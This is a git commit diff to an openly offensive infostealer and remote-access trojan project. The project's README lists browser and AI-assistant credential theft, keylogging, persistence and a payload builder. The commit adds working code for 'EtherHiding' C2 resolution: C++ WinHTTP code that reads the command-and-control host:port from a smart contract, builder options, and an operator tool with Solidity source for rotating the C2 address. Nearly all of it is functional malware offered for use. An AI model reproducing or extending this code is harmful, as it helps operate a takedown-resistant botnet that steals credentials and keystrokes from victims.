EtherHiding C2: resolve the TCP endpoint from a smart contract

The agent resolves its C2 endpoint from a resolver contract on a public
chain via eth_call (free, read-only), so the compiled binary carries no C2
address; rotating the C2 is one contract call and every bot picks up the
new value on next start. Pattern per the 2026 Remus analysis: eth_call
with the get() selector (0x6d4ce63c) against a public JSON-RPC provider,
the endpoint stored as a bytes32 host:port. Any failure falls back to the
compiled endpoint.

- src/transport/etherhiding.cpp/hpp: eth_call resolver, bytes32 decode,
  host:port parse, WinHTTP POST with hard timeouts
- agent: resolves before the argv/env override so an explicit endpoint
  still wins; HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override
- setup.py: CHAIN_RPC / CHAIN_CONTRACT options; the guided wizard asks for
  the resolver under TCP; the summary and recreate line carry them
- tools/etherhiding.py: read (stdlib) and update (web3 optional, explorer
  instructions otherwise); contract source included, deployed via Remix
- verified: selectors checked against a real keccak implementation,
  contract compiles with solc 0.8.19, wizard and non-interactive flows
  emit the config end to end, mock RPC positive/negative tests, live
  HTTPS RPC probe degrades gracefully, and the full steal still recovers
  the v20 key through the chain-resolved agent
This commit is contained in:
JYenn
2026-08-20 22:39:40 +01:00
parent 8ee9393ea4
commit 13e6ad7063
7 changed files with 348 additions and 2 deletions
+30
View File
@@ -33,6 +33,7 @@ Derived from the 2023-era Creal stealer. Since mid-2024 Chrome has locked creden
- **Network clients** (`network_clients`): WinSCP, PuTTY, mRemoteNG, MobaXterm, OpenVPN - **Network clients** (`network_clients`): WinSCP, PuTTY, mRemoteNG, MobaXterm, OpenVPN
- **AI assistants** (`ai_assistants`): Claude Desktop, OpenAI Codex, Gemini CLI, opencode - **AI assistants** (`ai_assistants`): Claude Desktop, OpenAI Codex, Gemini CLI, opencode
- 🔐 **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN - 🔐 **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN
- 🧊 **EtherHiding C2**: the TCP endpoint resolves from a smart contract on a public chain, so the binary carries no C2 address; rotate the C2 by calling the contract
- 📦 **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, `-p` wrappers for 9 delivery formats - 📦 **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, `-p` wrappers for 9 delivery formats
- ⌨️ **Keylogger and clipboard monitoring** - ⌨️ **Keylogger and clipboard monitoring**
- 🪝 **Persistence**: user-registry Run key and WMI event subscriptions - 🪝 **Persistence**: user-registry Run key and WMI event subscriptions
@@ -84,6 +85,34 @@ setup.py emits `deploy/worker.js` and `deploy/cloudflared-config.yml`. Deploy
the worker with `wrangler deploy deploy/worker.js`, fill the tunnel UUID into the worker with `wrangler deploy deploy/worker.js`, fill the tunnel UUID into
the config, `cloudflared tunnel run <name>`. the config, `cloudflared tunnel run <name>`.
## EtherHiding C2
The agent can resolve its TCP endpoint from a smart contract on a public chain
(`eth_call`, free and read-only), so the compiled binary carries no C2 address.
Rotate the C2 by updating the contract; every bot picks up the new value on
its next start. A dead RPC or decode failure falls back to the compiled
endpoint.
1. Deploy the resolver once in Remix or on the chain explorer (contract source
is in `tools/etherhiding.py`).
2. Store the endpoint, and read it back:
```powershell
python tools\etherhiding.py update --contract 0x... --value 10.2.0.2:4444 --key <privkey>
python tools\etherhiding.py read --contract 0x...
```
3. Build with the resolver wired in; the wizard asks for it under TCP, or pass
it directly:
```powershell
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 CHAIN_CONTRACT=0x... CHAIN_RPC=https://cloudflare-eth.com
```
The value is a `bytes32` `host:port`, 31 chars max. `HVNC_CHAIN_RPC` /
`HVNC_CHAIN_CONTRACT` env vars override both at runtime; an explicit agent
`argv` endpoint overrides the chain.
## Payload wrappers ## Payload wrappers
The builder (`setup.py -p <formats>`) packages the agent into delivery The builder (`setup.py -p <formats>`) packages the agent into delivery
@@ -172,6 +201,7 @@ A fresh checkout builds against `127.0.0.1:4444`. Run `setup.py` once so `.miser
- `src/rat`: keylogger + clipboard - `src/rat`: keylogger + clipboard
- `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression - `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression
- `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers - `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers
- `tools/`: operator helpers (EtherHiding resolver read/update)
- `wrappers_bases/`: Office-authored compiled macro bases used by the docm/xlsm wrappers - `wrappers_bases/`: Office-authored compiled macro bases used by the docm/xlsm wrappers
- `build/`: out-of-source build dir - `build/`: out-of-source build dir
+20 -2
View File
@@ -60,6 +60,8 @@ OPTIONS = {
"AUTH_SECRET": ("auth_secret", "CDN auth header value", True, None), "AUTH_SECRET": ("auth_secret", "CDN auth header value", True, None),
"SLEEP_MS": ("sleep_ms", "Beacon interval (ms)", False, None), "SLEEP_MS": ("sleep_ms", "Beacon interval (ms)", False, None),
"EXFIL_URL": ("exfil_url", "Optional HTTPS exfil endpoint (empty = channel only)", False, None), "EXFIL_URL": ("exfil_url", "Optional HTTPS exfil endpoint (empty = channel only)", False, None),
"CHAIN_RPC": ("chain_rpc", "EtherHiding JSON-RPC endpoint (empty = resolver off)", False, None),
"CHAIN_CONTRACT": ("chain_contract", "EtherHiding resolver contract address (empty = resolver off)", False, None),
"TUNNEL_HOST": ("tunnel_host", "Hostname the Worker forwards to (tunnel ingress, e.g. c2.example.com)", False, None), "TUNNEL_HOST": ("tunnel_host", "Hostname the Worker forwards to (tunnel ingress, e.g. c2.example.com)", False, None),
"CF_ACCESS_CLIENT_ID": ("cf_access_client_id", "Cloudflare Access service-token client ID (empty = none)", False, None), "CF_ACCESS_CLIENT_ID": ("cf_access_client_id", "Cloudflare Access service-token client ID (empty = none)", False, None),
"CF_ACCESS_CLIENT_SECRET": ("cf_access_client_secret", "Cloudflare Access service-token client secret (empty = none)", False, None), "CF_ACCESS_CLIENT_SECRET": ("cf_access_client_secret", "Cloudflare Access service-token client secret (empty = none)", False, None),
@@ -92,6 +94,8 @@ class Config:
self.auth_secret = None self.auth_secret = None
self.sleep_ms = 5000 self.sleep_ms = 5000
self.exfil_url = "" self.exfil_url = ""
self.chain_rpc = ""
self.chain_contract = ""
self.tunnel_host = "c2.yourdomain.com" self.tunnel_host = "c2.yourdomain.com"
self.cf_access_client_id = "" self.cf_access_client_id = ""
self.cf_access_client_secret = "" self.cf_access_client_secret = ""
@@ -290,6 +294,12 @@ def write_config(c: Config) -> str:
"#define HVNC_C2_PORT %d\n\n" "#define HVNC_C2_PORT %d\n\n"
"// Optional HTTPS exfil endpoint. Empty means results stay on the C2 channel.\n" "// Optional HTTPS exfil endpoint. Empty means results stay on the C2 channel.\n"
"#define HVNC_EXFIL_URL \"%s\"\n\n" "#define HVNC_EXFIL_URL \"%s\"\n\n"
"// EtherHiding dead-drop resolver: eth_call on a public chain (transport 0).\n"
"// Empty RPC or contract disables the lookup; the agent then uses the\n"
"// compiled endpoint above. Env HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT override\n"
"// both at runtime.\n"
"#define HVNC_CHAIN_RPC \"%s\"\n"
"#define HVNC_CHAIN_CONTRACT \"%s\"\n\n"
"// Console's ECDH P-256 public key (BCRYPT_ECCPUBLIC_BLOB, 72 bytes).\n" "// Console's ECDH P-256 public key (BCRYPT_ECCPUBLIC_BLOB, 72 bytes).\n"
"// Only this public half is compiled in; the private half lives in\n" "// Only this public half is compiled in; the private half lives in\n"
"// .misery_key on the operator box. Each connection/session derives its\n" "// .misery_key on the operator box. Each connection/session derives its\n"
@@ -307,6 +317,8 @@ def write_config(c: Config) -> str:
c.lhost or "127.0.0.1", c.lhost or "127.0.0.1",
int(c.lport), int(c.lport),
c.exfil_url, c.exfil_url,
c.chain_rpc or "",
c.chain_contract or "",
len(c.pub_blob), len(c.pub_blob),
byte_escapes(c.pub_blob), byte_escapes(c.pub_blob),
c.beacon_url or "", c.beacon_url or "",
@@ -475,6 +487,8 @@ def report(c: Config, files: list) -> None:
print(" tunnel : %s" % c.tunnel_host) print(" tunnel : %s" % c.tunnel_host)
print(" cf access : %s" % ("service token set" if c.cf_access_client_id else "none")) print(" cf access : %s" % ("service token set" if c.cf_access_client_id else "none"))
print(" exfil url : %s" % (c.exfil_url or "(channel only)")) print(" exfil url : %s" % (c.exfil_url or "(channel only)"))
if c.chain_contract:
print(" chain : %s @ %s" % (c.chain_contract, c.chain_rpc or "(default RPC)"))
if c.payload_formats: if c.payload_formats:
print(" payloads : %s" % ", ".join(c.payload_formats)) print(" payloads : %s" % ", ".join(c.payload_formats))
print(" stage url: %s" % (c.stage_url or "(none - self-contained formats only)")) print(" stage url: %s" % (c.stage_url or "(none - self-contained formats only)"))
@@ -482,8 +496,9 @@ def report(c: Config, files: list) -> None:
print("\n[*] Recreate without prompts:") print("\n[*] Recreate without prompts:")
fmt = (" -p " + ",".join(c.payload_formats)) if c.payload_formats else "" fmt = (" -p " + ",".join(c.payload_formats)) if c.payload_formats else ""
stage = (" STAGE_URL=%s" % c.stage_url) if c.payload_formats and c.stage_url else "" stage = (" STAGE_URL=%s" % c.stage_url) if c.payload_formats and c.stage_url else ""
print(" python setup.py -t %s LHOST=%s LPORT=%d OUT=%s%s%s%s" % ( chain = (" CHAIN_CONTRACT=%s CHAIN_RPC=%s" % (c.chain_contract, c.chain_rpc)) if c.chain_contract else ""
c.transport, c.lhost or "", int(c.lport), c.out, fmt, stage, print(" python setup.py -t %s LHOST=%s LPORT=%d OUT=%s%s%s%s%s" % (
c.transport, c.lhost or "", int(c.lport), c.out, fmt, stage, chain,
"" if c.build else " --no-build")) "" if c.build else " --no-build"))
if c.transport == "https_cdn": if c.transport == "https_cdn":
extra = " TUNNEL_HOST=%s" % c.tunnel_host extra = " TUNNEL_HOST=%s" % c.tunnel_host
@@ -538,6 +553,9 @@ def guided(c: Config) -> None:
else: else:
c.lhost = ask("C2 host (LHOST)", required=True) c.lhost = ask("C2 host (LHOST)", required=True)
c.lport = int(ask("C2 port (LPORT)", default=4444)) c.lport = int(ask("C2 port (LPORT)", default=4444))
c.chain_contract = ask("EtherHiding resolver contract (empty = off)", default="")
if c.chain_contract:
c.chain_rpc = ask("EtherHiding JSON-RPC endpoint", default="https://cloudflare-eth.com")
else: else:
c.beacon_url = ask("Worker beacon URL", required=True) c.beacon_url = ask("Worker beacon URL", required=True)
c.auth_header = ask("CDN auth header name", default="X-RT-C2") c.auth_header = ask("CDN auth header name", default="X-RT-C2")
+19
View File
@@ -27,6 +27,7 @@
#include "syscall.hpp" #include "syscall.hpp"
#include "inject.hpp" #include "inject.hpp"
#include "beacon.hpp" #include "beacon.hpp"
#include "etherhiding.hpp"
#include "persist.hpp" #include "persist.hpp"
#include "persist_wmi.hpp" #include "persist_wmi.hpp"
#include "environment.hpp" #include "environment.hpp"
@@ -627,6 +628,24 @@ int main(int argc, char** argv) {
return 0; return 0;
} }
} }
// EtherHiding dead-drop resolver: the contract value overrides the
// compiled endpoint; an explicit argv/env override below still wins.
#if HVNC_TRANSPORT == 0
{
const char* rpc = getenv("HVNC_CHAIN_RPC");
const char* contract = getenv("HVNC_CHAIN_CONTRACT");
std::string chain_host;
int chain_port = 0;
if (hvnc::chain::resolve_endpoint(
(rpc && rpc[0]) ? rpc : HVNC_CHAIN_RPC,
(contract && contract[0]) ? contract : HVNC_CHAIN_CONTRACT,
chain_host, chain_port)) {
g_host = chain_host;
g_port = chain_port;
printf("[agent] c2 from chain: %s:%d\n", g_host.c_str(), g_port);
}
}
#endif
{ {
const char* host = nullptr; const char* host = nullptr;
const char* port = nullptr; const char* port = nullptr;
+7
View File
@@ -13,6 +13,13 @@
// Optional HTTPS exfil endpoint. Empty means results stay on the C2 channel. // Optional HTTPS exfil endpoint. Empty means results stay on the C2 channel.
#define HVNC_EXFIL_URL "" #define HVNC_EXFIL_URL ""
// EtherHiding dead-drop resolver: eth_call on a public chain (transport 0).
// Empty RPC or contract disables the lookup; the agent then uses the
// compiled endpoint above. Env HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT override
// both at runtime.
#define HVNC_CHAIN_RPC ""
#define HVNC_CHAIN_CONTRACT ""
// Console's ECDH P-256 public key (BCRYPT_ECCPUBLIC_BLOB, 72 bytes). // Console's ECDH P-256 public key (BCRYPT_ECCPUBLIC_BLOB, 72 bytes).
// Only this public half is compiled in; the private half lives in // Only this public half is compiled in; the private half lives in
// .misery_key on the operator box. Each connection/session derives its // .misery_key on the operator box. Each connection/session derives its
+156
View File
@@ -0,0 +1,156 @@
#include "etherhiding.hpp"
#include <windows.h>
#include <winhttp.h>
#include <string>
#include <vector>
#include <cstdint>
#pragma comment(lib, "winhttp.lib")
namespace hvnc::chain {
namespace {
std::wstring to_wide(const std::string& s) {
if (s.empty()) return L"";
int n = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
std::wstring w(n, L'\0');
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), &w[0], n);
return w;
}
int hexval(char c) {
if (c >= '0' && c <= '9') return c - '0';
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
return -1;
}
bool decode_hex(const char* hex, size_t len, std::vector<uint8_t>& out) {
if (len % 2) return false;
out.resize(len / 2);
for (size_t i = 0; i < out.size(); i++) {
int hi = hexval(hex[i * 2]), lo = hexval(hex[i * 2 + 1]);
if (hi < 0 || lo < 0) return false;
out[i] = static_cast<uint8_t>((hi << 4) | lo);
}
return true;
}
// "host:port"; the last colon separates, so IPv4 and hostnames parse alike.
bool parse_host_port(const std::string& s, std::string& host, int& port) {
size_t colon = s.rfind(':');
if (colon == std::string::npos || colon == 0 || colon + 1 >= s.size()) return false;
host = s.substr(0, colon);
port = 0;
for (size_t i = colon + 1; i < s.size(); i++) {
if (s[i] < '0' || s[i] > '9') return false;
port = port * 10 + (s[i] - '0');
if (port > 65535) return false;
}
if (port == 0 || host.empty()) return false;
return true;
}
// POST a JSON body to an http(s) URL; returns the body on status 200. Hard
// timeouts so a dead RPC cannot stall startup for long.
bool http_post(const std::string& url, const std::string& body, std::string& reply) {
size_t sep = url.find("://");
if (sep == std::string::npos) return false;
bool secure = url.compare(0, sep, "https") == 0;
std::string rest = url.substr(sep + 3);
size_t slash = rest.find('/');
std::string host = slash == std::string::npos ? rest : rest.substr(0, slash);
std::string path = slash == std::string::npos ? "/" : rest.substr(slash);
if (host.empty()) return false;
// The host may carry an explicit port ("host:8123"); split it out.
INTERNET_PORT iport = secure ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT;
size_t hcolon = host.rfind(':');
if (hcolon != std::string::npos && hcolon + 1 < host.size()) {
int p = 0;
bool digits = true;
for (size_t i = hcolon + 1; i < host.size(); i++) {
if (host[i] < '0' || host[i] > '9') { digits = false; break; }
p = p * 10 + (host[i] - '0');
}
if (digits && p > 0 && p <= 65535) {
iport = static_cast<INTERNET_PORT>(p);
host = host.substr(0, hcolon);
}
}
HINTERNET hSession = WinHttpOpen(L"HVNC/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession) return false;
WinHttpSetTimeouts(hSession, 4000, 4000, 8000, 8000);
bool ok = false;
HINTERNET hConn = WinHttpConnect(hSession, to_wide(host).c_str(), iport, 0);
if (hConn) {
HINTERNET hReq = WinHttpOpenRequest(hConn, L"POST", to_wide(path).c_str(), nullptr,
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
secure ? WINHTTP_FLAG_SECURE : 0);
if (hReq) {
WinHttpAddRequestHeaders(hReq, L"Content-Type: application/json", (DWORD)-1,
WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD);
if (WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
body.empty() ? WINHTTP_NO_REQUEST_DATA : (LPVOID)body.data(),
(DWORD)body.size(), (DWORD)body.size(), 0) &&
WinHttpReceiveResponse(hReq, nullptr)) {
DWORD status = 0, len = sizeof(status);
if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &len,
WINHTTP_NO_HEADER_INDEX) && status == 200) {
std::vector<uint8_t> buf;
for (;;) {
DWORD avail = 0;
if (!WinHttpQueryDataAvailable(hReq, &avail)) break;
if (avail == 0) break;
size_t base = buf.size();
buf.resize(base + avail);
DWORD got = 0;
if (!WinHttpReadData(hReq, buf.data() + base, avail, &got)) break;
buf.resize(base + got);
}
reply.assign(reinterpret_cast<const char*>(buf.data()), buf.size());
ok = true;
}
}
WinHttpCloseHandle(hReq);
}
WinHttpCloseHandle(hConn);
}
WinHttpCloseHandle(hSession);
return ok;
}
} // namespace
bool resolve_endpoint(const std::string& rpc_url, const std::string& contract_addr,
std::string& host, int& port) {
if (rpc_url.empty() || contract_addr.empty()) return false;
const std::string body =
"{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"eth_call\",\"params\":"
"[{\"to\":\"" + contract_addr + "\",\"data\":\"0x6d4ce63c\"},\"latest\"]}";
std::string reply;
if (!http_post(rpc_url, body, reply)) return false;
// The endpoint string is the raw bytes32 in the "result" field, hex with
// a 0x prefix.
size_t pos = reply.find("\"result\":\"");
if (pos == std::string::npos) return false;
pos += 10;
if (reply[pos] == '0' && (reply[pos + 1] == 'x' || reply[pos + 1] == 'X')) pos += 2;
size_t end = reply.find('"', pos);
if (end == std::string::npos) return false;
std::vector<uint8_t> data;
if (!decode_hex(reply.c_str() + pos, end - pos, data)) return false;
while (!data.empty() && data.back() == 0) data.pop_back();
std::string value(reinterpret_cast<const char*>(data.data()), data.size());
return parse_host_port(value, host, port);
}
} // namespace hvnc::chain
+18
View File
@@ -0,0 +1,18 @@
// Dead-drop resolver: fetch the C2 endpoint from a smart contract on a public
// chain via eth_call (free, read-only) so the endpoint never ships in the
// binary. The technique is EtherHiding (Remus 2026): the operator hosts a
// contract whose get() view function returns the current "host:port" as a
// bytes32 and updates it by calling set(). The agent keeps the compiled
// endpoint when the lookup fails, so a dead RPC never strands a bot.
#pragma once
#include <string>
namespace hvnc::chain {
// Resolves "host:port" from the contract's get() view call (selector
// 0x6d4ce63c, bytes32 result, trailing NULs trimmed). Returns false on any
// failure (network, decode, empty), leaving host/port untouched.
bool resolve_endpoint(const std::string& rpc_url, const std::string& contract_addr,
std::string& host, int& port);
} // namespace hvnc::chain
+98
View File
@@ -0,0 +1,98 @@
#!/usr/bin/env python3
"""EtherHiding C2 resolver operator tool.
Deploy once (Remix or the chain explorer): paste the contract below, deploy,
note the address. `read` queries the chain with no wallet; `update` writes a
new endpoint with web3.py, or prints the explorer instructions without it.
Contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract C2Resolver {
bytes32 public c2;
address public owner;
constructor() { owner = msg.sender; }
function set(bytes32 value) external { require(msg.sender == owner, "owner"); c2 = value; }
function get() external view returns (bytes32) { return c2; }
}
Usage:
python tools/etherhiding.py read --contract 0x... [--rpc URL]
python tools/etherhiding.py update --contract 0x... --value HOST:PORT [--rpc URL] [--key PRIVKEY]
"""
import argparse
import json
import urllib.request
DEFAULT_RPC = "https://cloudflare-eth.com"
SELECTOR_GET = "0x6d4ce63c" # keccak("get()")
SELECTOR_SET = "0xdb80813f" # keccak("set(bytes32)")
def encode_value(text: str) -> str:
raw = text.encode("utf-8")
if len(raw) > 31:
raise SystemExit("value too long for bytes32 (31 chars max)")
return raw.ljust(32, b"\x00").hex()
def eth_call(rpc: str, contract: str) -> str:
body = json.dumps({
"jsonrpc": "2.0", "id": 1, "method": "eth_call",
"params": [{"to": contract, "data": SELECTOR_GET}, "latest"],
}).encode()
req = urllib.request.Request(rpc, data=body,
headers={"Content-Type": "application/json"})
reply = json.loads(urllib.request.urlopen(req, timeout=15).read())
if "result" not in reply:
raise SystemExit("RPC error: %s" % reply.get("error", reply))
raw = bytes.fromhex(reply["result"][2:]).rstrip(b"\x00")
return raw.decode("utf-8", errors="replace")
def cmd_read(args):
value = eth_call(args.rpc, args.contract)
print("contract %s" % args.contract)
print("value %s" % value)
def cmd_update(args):
if not args.key:
raise SystemExit(
"--key PRIVKEY required. Without web3: open the contract on the "
"chain explorer and call set(bytes32) with value 0x%s" % encode_value(args.value))
from web3 import Web3
w3 = Web3(Web3.HTTPProvider(args.rpc))
acct = w3.eth.account.from_key(args.key)
tx = {
"from": acct.address,
"to": w3.to_checksum_address(args.contract),
"data": SELECTOR_SET + encode_value(args.value),
"gas": 100000,
"nonce": w3.eth.get_transaction_count(acct.address),
"chainId": w3.eth.chain_id,
}
signed = w3.eth.account.sign_transaction(tx, args.key)
print("tx %s" % w3.eth.send_raw_transaction(signed.raw_transaction).hex())
def main():
ap = argparse.ArgumentParser(description="EtherHiding C2 resolver tool")
sub = ap.add_subparsers(dest="cmd", required=True)
for name, fn in (("read", cmd_read), ("update", cmd_update)):
p = sub.add_parser(name)
p.set_defaults(fn=fn)
p.add_argument("--contract", help="resolver contract address")
p.add_argument("--rpc", default=DEFAULT_RPC, help="JSON-RPC endpoint")
p.add_argument("--value", help="HOST:PORT to store")
p.add_argument("--key", help="contract owner private key")
args = ap.parse_args()
if not args.contract:
raise SystemExit("--contract required")
args.fn(args)
if __name__ == "__main__":
main()